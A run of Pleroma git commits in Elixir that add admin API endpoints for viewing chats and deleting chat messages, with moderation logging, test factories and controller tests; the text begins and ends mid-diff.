"mario@mushroom.kingdom") + assert CommonAPI.get_user("https://mushroom.kingdom/users/mario") == user + end + + test "fallback" do + assert %User{ + name: "", + ap_id: "", + nickname: "erroruser@example.com" + } = CommonAPI.get_user("") + end + end end -- cgit v1.2.3 From b40a627ab02f9f63eac42ce6fc65282fc6cb6b92 Mon Sep 17 00:00:00 2001 From: Alex Gleason Date: Mon, 31 Aug 2020 19:56:05 -0500 Subject: AdminAPI: delete a chat message --- lib/pleroma/moderation_log.ex | 24 ++++++++++ .../web/admin_api/controllers/chat_controller.ex | 37 +++++++++++++++ .../api_spec/operations/admin/chat_operation.ex | 44 ++++++++++++++++++ lib/pleroma/web/router.ex | 2 + test/support/factory.ex | 54 ++++++++++++++++++++++ .../admin_api/controllers/chat_controller_test.exs | 53 +++++++++++++++++++++ 6 files changed, 214 insertions(+) create mode 100644 lib/pleroma/web/admin_api/controllers/chat_controller.ex create mode 100644 lib/pleroma/web/api_spec/operations/admin/chat_operation.ex create mode 100644 test/web/admin_api/controllers/chat_controller_test.exs diff --git a/lib/pleroma/moderation_log.ex b/lib/pleroma/moderation_log.ex index 31c9afe2a..47036a6f6 100644 --- a/lib/pleroma/moderation_log.ex +++ b/lib/pleroma/moderation_log.ex @@ -320,6 +320,19 @@ def insert_log(%{ |> insert_log_entry_with_message() end + @spec insert_log(%{actor: User, action: String.t(), subject_id: String.t()}) :: + {:ok, ModerationLog} | {:error, any} + def insert_log(%{actor: %User{} = actor, action: "chat_message_delete", subject_id: subject_id}) do + %ModerationLog{ + data: %{ + "actor" => %{"nickname" => actor.nickname}, + "action" => "chat_message_delete", + "subject_id" => subject_id + } + } + |> insert_log_entry_with_message() + end + @spec insert_log_entry_with_message(ModerationLog) :: {:ok, ModerationLog} | {:error, any} defp insert_log_entry_with_message(entry) do entry.data["message"] @@ -627,6 +640,17 @@ def get_log_entry_message(%ModerationLog{ "@#{actor_nickname} updated users: #{users_to_nicknames_string(subjects)}" end + @spec get_log_entry_message(ModerationLog) :: String.t() + def get_log_entry_message(%ModerationLog{ + data: %{ + "actor" => %{"nickname" => actor_nickname}, + "action" => "chat_message_delete", + "subject_id" => subject_id + } + }) do + "@#{actor_nickname} deleted chat message ##{subject_id}" + end + defp nicknames_to_string(nicknames) do nicknames |> Enum.map(&"@#{&1}") diff --git a/lib/pleroma/web/admin_api/controllers/chat_controller.ex b/lib/pleroma/web/admin_api/controllers/chat_controller.ex new file mode 100644 index 000000000..bcce824d2 --- /dev/null +++ b/lib/pleroma/web/admin_api/controllers/chat_controller.ex @@ -0,0 +1,37 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.AdminAPI.ChatController do + use Pleroma.Web, :controller + + alias Pleroma.Activity + alias Pleroma.ModerationLog + alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.CommonAPI + + require Logger + + plug(Pleroma.Web.ApiSpec.CastAndValidate) + + plug( + OAuthScopesPlug, + %{scopes: ["write:chats"], admin: true} when action in [:delete_message] + ) + + action_fallback(Pleroma.Web.AdminAPI.FallbackController) + + defdelegate open_api_operation(action), to: Pleroma.Web.ApiSpec.Admin.ChatOperation + + def delete_message(%{assigns: %{user: user}} = conn, %{message_id: id}) do + with {:ok, %Activity{}} <- CommonAPI.delete(id, user) do + ModerationLog.insert_log(%{ + action: "chat_message_delete", + actor: user, + subject_id: id + }) + + json(conn, %{}) + end + end +end diff --git a/lib/pleroma/web/api_spec/operations/admin/chat_operation.ex b/lib/pleroma/web/api_spec/operations/admin/chat_operation.ex new file mode 100644 index 000000000..7045fd7ce --- /dev/null +++ b/lib/pleroma/web/api_spec/operations/admin/chat_operation.ex @@ -0,0 +1,44 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ApiSpec.Admin.ChatOperation do + alias OpenApiSpex.Operation + alias Pleroma.Web.ApiSpec.Schemas.ApiError + alias Pleroma.Web.ApiSpec.Schemas.FlakeID + + import Pleroma.Web.ApiSpec.Helpers + + def open_api_operation(action) do + operation = String.to_existing_atom("#{action}_operation") + apply(__MODULE__, operation, []) + end + + def delete_message_operation do + %Operation{ + tags: ["Admin", "Chats"], + summary: "Delete an individual chat message", + operationId: "AdminAPI.ChatController.delete", + parameters: [id_param(), message_id_param()] ++ admin_api_params(), + security: [%{"oAuth" => ["write:chats"]}], + responses: %{ + 200 => empty_object_response(), + 404 => Operation.response("Not Found", "application/json", ApiError) + } + } + end + + def id_param do + Operation.parameter(:id, :path, FlakeID, "Chat ID", + example: "9umDrYheeY451cQnEe", + required: true + ) + end + + def message_id_param do + Operation.parameter(:message_id, :path, FlakeID, "Chat message ID", + example: "9umDrYheeY451cQnEe", + required: true + ) + end +end diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex index c6433cc53..e438768ed 100644 --- a/lib/pleroma/web/router.ex +++ b/lib/pleroma/web/router.ex @@ -214,6 +214,8 @@ defmodule Pleroma.Web.Router do get("/media_proxy_caches", MediaProxyCacheController, :index) post("/media_proxy_caches/delete", MediaProxyCacheController, :delete) post("/media_proxy_caches/purge", MediaProxyCacheController, :purge) + + delete("/chats/:id/messages/:message_id", ChatController, :delete_message) end scope "/api/pleroma/emoji", Pleroma.Web.PleromaAPI do diff --git a/test/support/factory.ex b/test/support/factory.ex index 486eda8da..61ca4587c 100644 --- a/test/support/factory.ex +++ b/test/support/factory.ex @@ -460,4 +460,58 @@ def filter_factory do phrase: "cofe" } end + + def chat_factory(attrs \\ %{}) do + user = attrs[:user] || insert(:user) + recipient = attrs[:recipient] || insert(:user) + + %Pleroma.Chat{ + user_id: user.id, + recipient: recipient.ap_id + } + end + + def chat_message_factory(attrs \\ %{}) do + text = sequence(:text, &"This is :moominmamma: chat message #{&1}") + chat = attrs[:chat] || insert(:chat) + + data = %{ + "type" => "ChatMessage", + "content" => text, + "id" => Pleroma.Web.ActivityPub.Utils.generate_object_id(), + "actor" => User.get_by_id(chat.user_id).ap_id, + "to" => [chat.recipient], + "published" => DateTime.utc_now() |> DateTime.to_iso8601() + } + + %Pleroma.Object{ + data: merge_attributes(data, Map.get(attrs, :data, %{})) + } + end + + def chat_message_activity_factory(attrs \\ %{}) do + chat = attrs[:chat] || insert(:chat) + chat_message = attrs[:chat_message] || insert(:chat_message, chat: chat) + + data_attrs = attrs[:data_attrs] || %{} + attrs = Map.drop(attrs, [:chat, :chat_message, :data_attrs]) + + data = + %{ + "id" => Pleroma.Web.ActivityPub.Utils.generate_activity_id(), + "type" => "Create", + "actor" => chat_message.data["actor"], + "to" => chat_message.data["to"], + "object" => chat_message.data["id"], + "published" => DateTime.utc_now() |> DateTime.to_iso8601() + } + |> Map.merge(data_attrs) + + %Pleroma.Activity{ + data: data, + actor: data["actor"], + recipients: data["to"] + } + |> Map.merge(attrs) + end end diff --git a/test/web/admin_api/controllers/chat_controller_test.exs b/test/web/admin_api/controllers/chat_controller_test.exs new file mode 100644 index 000000000..4527437af --- /dev/null +++ b/test/web/admin_api/controllers/chat_controller_test.exs @@ -0,0 +1,53 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.AdminAPI.ChatControllerTest do + use Pleroma.Web.ConnCase + + import Pleroma.Factory + + alias Pleroma.Activity + alias Pleroma.Config + alias Pleroma.ModerationLog + alias Pleroma.Repo + + setup do + admin = insert(:user, is_admin: true) + token = insert(:oauth_admin_token, user: admin) + + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, token) + + {:ok, %{admin: admin, token: token, conn: conn}} + end + + describe "DELETE /api/pleroma/admin/chats/:id/messages/:message_id" do + setup do + chat = insert(:chat) + message = insert(:chat_message_activity, chat: chat) + %{chat: chat, message: message} + end + + test "deletes chat message", %{conn: conn, chat: chat, message: message, admin: admin} do + conn + |> delete("/api/pleroma/admin/chats/#{chat.id}/messages/#{message.id}") + |> json_response_and_validate_schema(:ok) + + refute Activity.get_by_id(message.id) + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} deleted chat message ##{message.id}" + end + + test "returns 404 when the chat message does not exist", %{conn: conn} do + conn = delete(conn, "/api/pleroma/admin/chats/test/messages/test") + + assert json_response_and_validate_schema(conn, :not_found) == %{"error" => "Not found"} + end + end +end -- cgit v1.2.3 From fb0de073439b5e3be823e736b44608e80f1027f1 Mon Sep 17 00:00:00 2001 From: Alex Gleason Date: Mon, 31 Aug 2020 20:23:33 -0500 Subject: AdminAPI: list chats for a user --- .../admin_api/controllers/admin_api_controller.ex | 27 ++++++++++++++++++++++ lib/pleroma/web/router.ex | 3 +++ .../controllers/admin_api_controller_test.exs | 18 +++++++++++++++ 3 files changed, 48 insertions(+) diff --git a/lib/pleroma/web/admin_api/controllers/admin_api_controller.ex b/lib/pleroma/web/admin_api/controllers/admin_api_controller.ex index f5e4d49f9..9b66c2f10 100644 --- a/lib/pleroma/web/admin_api/controllers/admin_api_controller.ex +++ b/lib/pleroma/web/admin_api/controllers/admin_api_controller.ex @@ -5,6 +5,7 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIController do use Pleroma.Web, :controller + import Ecto.Query import Pleroma.Web.ControllerHelper, only: [json_response: 3] alias Pleroma.Config @@ -21,6 +22,7 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIController do alias Pleroma.Web.AdminAPI.ModerationLogView alias Pleroma.Web.AdminAPI.Search alias Pleroma.Web.Endpoint + alias Pleroma.Web.PleromaAPI alias Pleroma.Web.Router require Logger @@ -68,6 +70,12 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIController do when action in [:list_user_statuses, :list_instance_statuses] ) + plug( + OAuthScopesPlug, + %{scopes: ["read:chats"], admin: true} + when action in [:list_user_chats] + ) + plug( OAuthScopesPlug, %{scopes: ["read"], admin: true} @@ -256,6 +264,25 @@ def list_user_statuses(%{assigns: %{user: admin}} = conn, %{"nickname" => nickna end end + def list_user_chats(%{assigns: %{user: admin}} = conn, %{"nickname" => nickname} = _params) do + with %User{id: user_id} <- User.get_cached_by_nickname_or_id(nickname, for: admin) do + chats = + from(c in Pleroma.Chat, + where: c.user_id == ^user_id, + order_by: [desc: c.updated_at], + inner_join: u in User, + on: u.ap_id == c.recipient + ) + |> Pleroma.Repo.all() + + conn + |> put_view(PleromaAPI.ChatView) + |> render("index.json", chats: chats) + else + _ -> {:error, :not_found} + end + end + def user_toggle_activation(%{assigns: %{user: admin}} = conn, %{"nickname" => nickname}) do user = User.get_cached_by_nickname(nickname) diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex index e438768ed..ad3282df4 100644 --- a/lib/pleroma/web/router.ex +++ b/lib/pleroma/web/router.ex @@ -178,6 +178,7 @@ defmodule Pleroma.Web.Router do get("/users", AdminAPIController, :list_users) get("/users/:nickname", AdminAPIController, :user_show) get("/users/:nickname/statuses", AdminAPIController, :list_user_statuses) + get("/users/:nickname/chats", AdminAPIController, :list_user_chats) get("/instances/:instance/statuses", AdminAPIController, :list_instance_statuses) @@ -215,6 +216,8 @@ defmodule Pleroma.Web.Router do post("/media_proxy_caches/delete", MediaProxyCacheController, :delete) post("/media_proxy_caches/purge", MediaProxyCacheController, :purge) + # get("/chats/:id", ChatController, :show) + # get("/chats/:id/messages", ChatController, :messages) delete("/chats/:id/messages/:message_id", ChatController, :delete_message) end diff --git a/test/web/admin_api/controllers/admin_api_controller_test.exs b/test/web/admin_api/controllers/admin_api_controller_test.exs index dbf478edf..cf5637246 100644 --- a/test/web/admin_api/controllers/admin_api_controller_test.exs +++ b/test/web/admin_api/controllers/admin_api_controller_test.exs @@ -1510,6 +1510,24 @@ test "excludes reblogs by default", %{conn: conn, user: user} do end end + describe "GET /api/pleroma/admin/users/:nickname/chats" do + setup do + user = insert(:user) + + insert(:chat, user: user) + insert(:chat, user: user) + insert(:chat, user: user) + + %{user: user} + end + + test "renders user's statuses", %{conn: conn, user: user} do + conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}/chats") + + assert json_response(conn, 200) |> length() == 3 + end + end + describe "GET /api/pleroma/admin/moderation_log" do setup do moderator = insert(:user, is_moderator: true) -- cgit v1.2.3 From c41430b23eaf3fd15b227e66215aa2a4ff31dfdb Mon Sep 17 00:00:00 2001 From: Alex Gleason Date: Tue, 1 Sep 2020 19:05:24 -0500 Subject: Refactor with Chat.for_user_query/1 --- lib/pleroma/chat.ex | 12 ++++++++++++ .../web/admin_api/controllers/admin_api_controller.ex | 8 +------- lib/pleroma/web/pleroma_api/controllers/chat_controller.ex | 9 ++------- 3 files changed, 15 insertions(+), 14 deletions(-) diff --git a/lib/pleroma/chat.ex b/lib/pleroma/chat.ex index 24a86371e..b38c5c3dd 100644 --- a/lib/pleroma/chat.ex +++ b/lib/pleroma/chat.ex @@ -6,7 +6,9 @@ defmodule Pleroma.Chat do use Ecto.Schema import Ecto.Changeset + import Ecto.Query + alias Pleroma.Chat alias Pleroma.Repo alias Pleroma.User @@ -69,4 +71,14 @@ def bump_or_create(user_id, recipient) do conflict_target: [:user_id, :recipient] ) end + + @spec for_user_query(FlakeId.Ecto.CompatType.t()) :: Ecto.Query.t() + def for_user_query(user_id) do + from(c in Chat, + where: c.user_id == ^user_id, + order_by: [desc: c.updated_at], + inner_join: u in User, + on: u.ap_id == c.recipient + ) + end end diff --git a/lib/pleroma/web/admin_api/controllers/admin_api_controller.ex b/lib/pleroma/web/admin_api/controllers/admin_api_controller.ex index 9b66c2f10..fccdbabb4 100644 --- a/lib/pleroma/web/admin_api/controllers/admin_api_controller.ex +++ b/lib/pleroma/web/admin_api/controllers/admin_api_controller.ex @@ -5,7 +5,6 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIController do use Pleroma.Web, :controller - import Ecto.Query import Pleroma.Web.ControllerHelper, only: [json_response: 3] alias Pleroma.Config @@ -267,12 +266,7 @@ def list_user_statuses(%{assigns: %{user: admin}} = conn, %{"nickname" => nickna def list_user_chats(%{assigns: %{user: admin}} = conn, %{"nickname" => nickname} = _params) do with %User{id: user_id} <- User.get_cached_by_nickname_or_id(nickname, for: admin) do chats = - from(c in Pleroma.Chat, - where: c.user_id == ^user_id, - order_by: [desc: c.updated_at], - inner_join: u in User, - on: u.ap_id == c.recipient - ) + Pleroma.Chat.for_user_query(user_id) |> Pleroma.Repo.all() conn diff --git a/lib/pleroma/web/pleroma_api/controllers/chat_controller.ex b/lib/pleroma/web/pleroma_api/controllers/chat_controller.ex index 1f2e953f7..27c9a2e0f 100644 --- a/lib/pleroma/web/pleroma_api/controllers/chat_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/chat_controller.ex @@ -146,13 +146,8 @@ def index(%{assigns: %{user: %{id: user_id} = user}} = conn, _params) do blocked_ap_ids = User.blocked_users_ap_ids(user) chats = - from(c in Chat, - where: c.user_id == ^user_id, - where: c.recipient not in ^blocked_ap_ids, - order_by: [desc: c.updated_at], - inner_join: u in User, - on: u.ap_id == c.recipient - ) + Chat.for_user_query(user_id) + |> where([c], c.recipient not in ^blocked_ap_ids) |> Repo.all() conn -- cgit v1.2.3 From f13b52a703d5c60cf12b2fff69f458e5c467c783 Mon Sep 17 00:00:00 2001 From: Alex Gleason Date: Tue, 1 Sep 2020 19:39:34 -0500 Subject: AdminAPI: list messages in a chat --- .../web/admin_api/controllers/chat_controller.ex | 27 +++++++++++ .../api_spec/operations/admin/chat_operation.ex | 26 ++++++++++- lib/pleroma/web/router.ex | 2 +- .../admin_api/controllers/chat_controller_test.exs | 54 ++++++++++++++++++++++ 4 files changed, 107 insertions(+), 2 deletions(-) diff --git a/lib/pleroma/web/admin_api/controllers/chat_controller.ex b/lib/pleroma/web/admin_api/controllers/chat_controller.ex index bcce824d2..b423188d7 100644 --- a/lib/pleroma/web/admin_api/controllers/chat_controller.ex +++ b/lib/pleroma/web/admin_api/controllers/chat_controller.ex @@ -6,14 +6,23 @@ defmodule Pleroma.Web.AdminAPI.ChatController do use Pleroma.Web, :controller alias Pleroma.Activity + alias Pleroma.Chat + alias Pleroma.Chat.MessageReference alias Pleroma.ModerationLog + alias Pleroma.Pagination alias Pleroma.Plugs.OAuthScopesPlug alias Pleroma.Web.CommonAPI + alias Pleroma.Web.PleromaAPI.Chat.MessageReferenceView require Logger plug(Pleroma.Web.ApiSpec.CastAndValidate) + plug( + OAuthScopesPlug, + %{scopes: ["read:chats"], admin: true} when action in [:messages] + ) + plug( OAuthScopesPlug, %{scopes: ["write:chats"], admin: true} when action in [:delete_message] @@ -34,4 +43,22 @@ def delete_message(%{assigns: %{user: user}} = conn, %{message_id: id}) do json(conn, %{}) end end + + def messages(conn, %{id: id} = params) do + with %Chat{} = chat <- Chat.get_by_id(id) do + cm_refs = + chat + |> MessageReference.for_chat_query() + |> Pagination.fetch_paginated(params) + + conn + |> put_view(MessageReferenceView) + |> render("index.json", chat_message_references: cm_refs) + else + _ -> + conn + |> put_status(:not_found) + |> json(%{error: "not found"}) + end + end end diff --git a/lib/pleroma/web/api_spec/operations/admin/chat_operation.ex b/lib/pleroma/web/api_spec/operations/admin/chat_operation.ex index 7045fd7ce..a382bd35a 100644 --- a/lib/pleroma/web/api_spec/operations/admin/chat_operation.ex +++ b/lib/pleroma/web/api_spec/operations/admin/chat_operation.ex @@ -16,7 +16,7 @@ def open_api_operation(action) do def delete_message_operation do %Operation{ - tags: ["Admin", "Chats"], + tags: ["admin", "chat"], summary: "Delete an individual chat message", operationId: "AdminAPI.ChatController.delete", parameters: [id_param(), message_id_param()] ++ admin_api_params(), @@ -28,6 +28,30 @@ def delete_message_operation do } end + def messages_operation do + %Operation{ + tags: ["admin", "chat"], + summary: "Get the most recent messages of the chat", + operationId: "AdminAPI.ChatController.messages", + parameters: + [Operation.parameter(:id, :path, :string, "The ID of the Chat")] ++ + pagination_params(), + responses: %{ + 200 => + Operation.response( + "The messages in the chat", + "application/json", + Pleroma.Web.ApiSpec.ChatOperation.chat_messages_response() + ) + }, + security: [ + %{ + "oAuth" => ["read:chats"] + } + ] + } + end + def id_param do Operation.parameter(:id, :path, FlakeID, "Chat ID", example: "9umDrYheeY451cQnEe", diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex index ad3282df4..02836114a 100644 --- a/lib/pleroma/web/router.ex +++ b/lib/pleroma/web/router.ex @@ -217,7 +217,7 @@ defmodule Pleroma.Web.Router do post("/media_proxy_caches/purge", MediaProxyCacheController, :purge) # get("/chats/:id", ChatController, :show) - # get("/chats/:id/messages", ChatController, :messages) + get("/chats/:id/messages", ChatController, :messages) delete("/chats/:id/messages/:message_id", ChatController, :delete_message) end diff --git a/test/web/admin_api/controllers/chat_controller_test.exs b/test/web/admin_api/controllers/chat_controller_test.exs index 4527437af..f61e2a1fa 100644 --- a/test/web/admin_api/controllers/chat_controller_test.exs +++ b/test/web/admin_api/controllers/chat_controller_test.exs @@ -8,9 +8,11 @@ defmodule Pleroma.Web.AdminAPI.ChatControllerTest do import Pleroma.Factory alias Pleroma.Activity + alias Pleroma.Chat alias Pleroma.Config alias Pleroma.ModerationLog alias Pleroma.Repo + alias Pleroma.Web.CommonAPI setup do admin = insert(:user, is_admin: true) @@ -50,4 +52,56 @@ test "returns 404 when the chat message does not exist", %{conn: conn} do assert json_response_and_validate_schema(conn, :not_found) == %{"error" => "Not found"} end end + + describe "GET /api/pleroma/admin/chats/:id/messages" do + test "it paginates", %{conn: conn} do + user = insert(:user) + recipient = insert(:user) + + Enum.each(1..30, fn _ -> + {:ok, _} = CommonAPI.post_chat_message(user, recipient, "hey") + end) + + chat = Chat.get(user.id, recipient.ap_id) + + result = + conn + |> get("/api/pleroma/admin/chats/#{chat.id}/messages") + |> json_response_and_validate_schema(200) + + assert length(result) == 20 + + result = + conn + |> get("/api/pleroma/admin/chats/#{chat.id}/messages?max_id=#{List.last(result)["id"]}") + |> json_response_and_validate_schema(200) + + assert length(result) == 10 + end + + test "it returns the messages for a given chat", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + third_user = insert(:user) + + {:ok, _} = CommonAPI.post_chat_message(user, other_user, "hey") + {:ok, _} = CommonAPI.post_chat_message(user, third_user, "hey") + {:ok, _} = CommonAPI.post_chat_message(user, other_user, "how are you?") + {:ok, _} = CommonAPI.post_chat_message(other_user, user, "fine, how about you?") + + chat = Chat.get(user.id, other_user.ap_id) + + result = + conn + |> get("/api/pleroma/admin/chats/#{chat.id}/messages") + |> json_response_and_validate_schema(200) + + result + |> Enum.each(fn message -> + assert message["chat_id"] == chat.id |> to_string() + end) + + assert length(result) == 3 + end + end end -- cgit v1.2.3 From 9dd0b23da424c380a37897d8bf69ab241efa6f91 Mon Sep 17 00:00:00 2001 From: Alex Gleason Date: Tue, 1 Sep 2020 19:49:46 -0500 Subject: AdminAPI: show chat --- .../web/admin_api/controllers/chat_controller.ex | 11 +++++++- .../api_spec/operations/admin/chat_operation.ex | 32 ++++++++++++++++++++++ lib/pleroma/web/router.ex | 2 +- .../admin_api/controllers/chat_controller_test.exs | 16 +++++++++++ 4 files changed, 59 insertions(+), 2 deletions(-) diff --git a/lib/pleroma/web/admin_api/controllers/chat_controller.ex b/lib/pleroma/web/admin_api/controllers/chat_controller.ex index b423188d7..ac362c430 100644 --- a/lib/pleroma/web/admin_api/controllers/chat_controller.ex +++ b/lib/pleroma/web/admin_api/controllers/chat_controller.ex @@ -13,6 +13,7 @@ defmodule Pleroma.Web.AdminAPI.ChatController do alias Pleroma.Plugs.OAuthScopesPlug alias Pleroma.Web.CommonAPI alias Pleroma.Web.PleromaAPI.Chat.MessageReferenceView + alias Pleroma.Web.PleromaAPI.ChatView require Logger @@ -20,7 +21,7 @@ defmodule Pleroma.Web.AdminAPI.ChatController do plug( OAuthScopesPlug, - %{scopes: ["read:chats"], admin: true} when action in [:messages] + %{scopes: ["read:chats"], admin: true} when action in [:show, :messages] ) plug( @@ -61,4 +62,12 @@ def messages(conn, %{id: id} = params) do |> json(%{error: "not found"}) end end + + def show(conn, %{id: id}) do + with %Chat{} = chat <- Chat.get_by_id(id) do + conn + |> put_view(ChatView) + |> render("show.json", chat: chat) + end + end end diff --git a/lib/pleroma/web/api_spec/operations/admin/chat_operation.ex b/lib/pleroma/web/api_spec/operations/admin/chat_operation.ex index a382bd35a..3550d531e 100644 --- a/lib/pleroma/web/api_spec/operations/admin/chat_operation.ex +++ b/lib/pleroma/web/api_spec/operations/admin/chat_operation.ex @@ -5,6 +5,7 @@ defmodule Pleroma.Web.ApiSpec.Admin.ChatOperation do alias OpenApiSpex.Operation alias Pleroma.Web.ApiSpec.Schemas.ApiError + alias Pleroma.Web.ApiSpec.Schemas.Chat alias Pleroma.Web.ApiSpec.Schemas.FlakeID import Pleroma.Web.ApiSpec.Helpers @@ -52,6 +53,37 @@ def messages_operation do } end + def show_operation do + %Operation{ + tags: ["chat"], + summary: "Create a chat", + operationId: "AdminAPI.ChatController.show", + parameters: [ + Operation.parameter( + :id, + :path, + :string, + "The id of the chat", + required: true, + example: "1234" + ) + ], + responses: %{ + 200 => + Operation.response( + "The existing chat", + "application/json", + Chat + ) + }, + security: [ + %{ + "oAuth" => ["read"] + } + ] + } + end + def id_param do Operation.parameter(:id, :path, FlakeID, "Chat ID", example: "9umDrYheeY451cQnEe", diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex index 02836114a..e4440d442 100644 --- a/lib/pleroma/web/router.ex +++ b/lib/pleroma/web/router.ex @@ -216,7 +216,7 @@ defmodule Pleroma.Web.Router do post("/media_proxy_caches/delete", MediaProxyCacheController, :delete) post("/media_proxy_caches/purge", MediaProxyCacheController, :purge) - # get("/chats/:id", ChatController, :show) + get("/chats/:id", ChatController, :show) get("/chats/:id/messages", ChatController, :messages) delete("/chats/:id/messages/:message_id", ChatController, :delete_message) end diff --git a/test/web/admin_api/controllers/chat_controller_test.exs b/test/web/admin_api/controllers/chat_controller_test.exs index f61e2a1fa..63c195b99 100644 --- a/test/web/admin_api/controllers/chat_controller_test.exs +++ b/test/web/admin_api/controllers/chat_controller_test.exs @@ -104,4 +104,20 @@ test "it returns the messages for a given chat", %{conn: conn} do assert length(result) == 3 end end + + describe "GET /api/pleroma/admin/chats/:id" do + test "it returns a chat", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + + {:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id) + + result = + conn + |> get("/api/pleroma/admin/chats/#{chat.id}") + |> json_response_and_validate_schema(200) + + assert result["id"] == to_string(chat.id) + end + end end -- cgit v1.2.3 From 02d70228b566d5de2cbdd6d1f9958caf2db173f1 Mon Sep 17 00:00:00 2001 From: Alex Gleason Date: Tue, 1 Sep 2020 20:40:36 -0500 Subject: AdminAPI: fix delete chat message --- .../web/admin_api/controllers/chat_controller.ex | 20 ++++++++--- .../api_spec/operations/admin/chat_operation.ex | 40 ++++++++++------------ .../admin_api/controllers/chat_controller_test.exs | 39 ++++++++++++--------- 3 files changed, 56 insertions(+), 43 deletions(-) diff --git a/lib/pleroma/web/admin_api/controllers/chat_controller.ex b/lib/pleroma/web/admin_api/controllers/chat_controller.ex index ac362c430..61d45b970 100644 --- a/lib/pleroma/web/admin_api/controllers/chat_controller.ex +++ b/lib/pleroma/web/admin_api/controllers/chat_controller.ex @@ -33,15 +33,27 @@ defmodule Pleroma.Web.AdminAPI.ChatController do defdelegate open_api_operation(action), to: Pleroma.Web.ApiSpec.Admin.ChatOperation - def delete_message(%{assigns: %{user: user}} = conn, %{message_id: id}) do - with {:ok, %Activity{}} <- CommonAPI.delete(id, user) do + def delete_message(%{assigns: %{user: user}} = conn, %{ + message_id: message_id, + id: chat_id + }) do + with %MessageReference{object: %{data: %{"id" => object_ap_id}}} = cm_ref <- + MessageReference.get_by_id(message_id), + ^chat_id <- to_string(cm_ref.chat_id), + %Activity{id: activity_id} <- Activity.get_create_by_object_ap_id(object_ap_id), + {:ok, _} <- CommonAPI.delete(activity_id, user) do ModerationLog.insert_log(%{ action: "chat_message_delete", actor: user, - subject_id: id + subject_id: message_id }) - json(conn, %{}) + conn + |> put_view(MessageReferenceView) + |> render("show.json", chat_message_reference: cm_ref) + else + _e -> + {:error, :could_not_delete} end end diff --git a/lib/pleroma/web/api_spec/operations/admin/chat_operation.ex b/lib/pleroma/web/api_spec/operations/admin/chat_operation.ex index 3550d531e..d3e5dfc1c 100644 --- a/lib/pleroma/web/api_spec/operations/admin/chat_operation.ex +++ b/lib/pleroma/web/api_spec/operations/admin/chat_operation.ex @@ -4,9 +4,8 @@ defmodule Pleroma.Web.ApiSpec.Admin.ChatOperation do alias OpenApiSpex.Operation - alias Pleroma.Web.ApiSpec.Schemas.ApiError alias Pleroma.Web.ApiSpec.Schemas.Chat - alias Pleroma.Web.ApiSpec.Schemas.FlakeID + alias Pleroma.Web.ApiSpec.Schemas.ChatMessage import Pleroma.Web.ApiSpec.Helpers @@ -19,13 +18,24 @@ def delete_message_operation do %Operation{ tags: ["admin", "chat"], summary: "Delete an individual chat message", - operationId: "AdminAPI.ChatController.delete", - parameters: [id_param(), message_id_param()] ++ admin_api_params(), - security: [%{"oAuth" => ["write:chats"]}], + operationId: "AdminAPI.ChatController.delete_message", + parameters: [ + Operation.parameter(:id, :path, :string, "The ID of the Chat"), + Operation.parameter(:message_id, :path, :string, "The ID of the message") + ], responses: %{ - 200 => empty_object_response(), - 404 => Operation.response("Not Found", "application/json", ApiError) - } + 200 => + Operation.response( + "The deleted ChatMessage", + "application/json", + ChatMessage + ) + }, + security: [ + %{ + "oAuth" => ["write:chats"] + } + ] } end @@ -83,18 +93,4 @@ def show_operation do ] } end - - def id_param do - Operation.parameter(:id, :path, FlakeID, "Chat ID", - example: "9umDrYheeY451cQnEe", - required: true - ) - end - - def message_id_param do - Operation.parameter(:message_id, :path, FlakeID, "Chat message ID", - example: "9umDrYheeY451cQnEe", - required: true - ) - end end diff --git a/test/web/admin_api/controllers/chat_controller_test.exs b/test/web/admin_api/controllers/chat_controller_test.exs index 63c195b99..9393dd49b 100644 --- a/test/web/admin_api/controllers/chat_controller_test.exs +++ b/test/web/admin_api/controllers/chat_controller_test.exs @@ -7,9 +7,10 @@ defmodule Pleroma.Web.AdminAPI.ChatControllerTest do import Pleroma.Factory - alias Pleroma.Activity alias Pleroma.Chat + alias Pleroma.Chat.MessageReference alias Pleroma.Config + alias Pleroma.Object alias Pleroma.ModerationLog alias Pleroma.Repo alias Pleroma.Web.CommonAPI @@ -27,29 +28,33 @@ defmodule Pleroma.Web.AdminAPI.ChatControllerTest do end describe "DELETE /api/pleroma/admin/chats/:id/messages/:message_id" do - setup do - chat = insert(:chat) - message = insert(:chat_message_activity, chat: chat) - %{chat: chat, message: message} - end + test "it deletes a message from the chat", %{conn: conn, admin: admin} do + user = insert(:user) + recipient = insert(:user) + + {:ok, message} = + CommonAPI.post_chat_message(user, recipient, "Hello darkness my old friend") + + object = Object.normalize(message, false) + + chat = Chat.get(user.id, recipient.ap_id) - test "deletes chat message", %{conn: conn, chat: chat, message: message, admin: admin} do - conn - |> delete("/api/pleroma/admin/chats/#{chat.id}/messages/#{message.id}") - |> json_response_and_validate_schema(:ok) + cm_ref = MessageReference.for_chat_and_object(chat, object) - refute Activity.get_by_id(message.id) + result = + conn + |> put_req_header("content-type", "application/json") + |> delete("/api/pleroma/admin/chats/#{chat.id}/messages/#{cm_ref.id}") + |> json_response_and_validate_schema(200) log_entry = Repo.one(ModerationLog) assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} deleted chat message ##{message.id}" - end - - test "returns 404 when the 